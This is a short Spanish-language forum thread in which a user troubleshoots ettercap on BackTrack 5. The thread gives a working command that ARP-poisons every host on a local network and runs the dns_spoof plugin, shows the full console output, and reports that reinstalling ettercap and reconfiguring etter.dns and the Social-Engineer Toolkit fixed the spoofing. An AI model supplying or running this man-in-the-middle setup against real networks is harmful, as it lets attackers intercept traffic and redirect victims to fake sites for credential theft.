ettercap backtrack 5

[transfersote]

comando usado

ettercap -Tq -i wlan0 -P dns_spoof -M arp // //

y obtengo esto

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Dissector "dns" not supported (etter.conf line 70)
Listening on wlan0... (Ethernet)

wlan0 ->       xx:xx:xx:xx:xx      192.168.1.69     255.255.255.0

Privileges dropped to UID 0 GID 0...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...

DHCP: [xx:xx:xx:xx:xx] REQUEST 192.168.1.69
DHCP: [192.168.1.254] ACK : 192.168.1.69 255.255.255.0 GW 192.168.1.254 DNS 192.168.1.254 "lan"
DHCP: [xx:xx:xx:xx:xx] REQUEST 192.168.1.69

pero no realiza el dns_spoof segun encontre en la web que se debe a el error que esta en rojo
como se puede solucionar este error 

[transfersote]

me falto decir que ya tambien eh modificado el

etter.conf

y

etter.dns

[transfersote]

La solucion consistio en reinstalar todo ettercap desde los repositorios y configurar de nuevo los archivos y el set q tambien estaba utilizando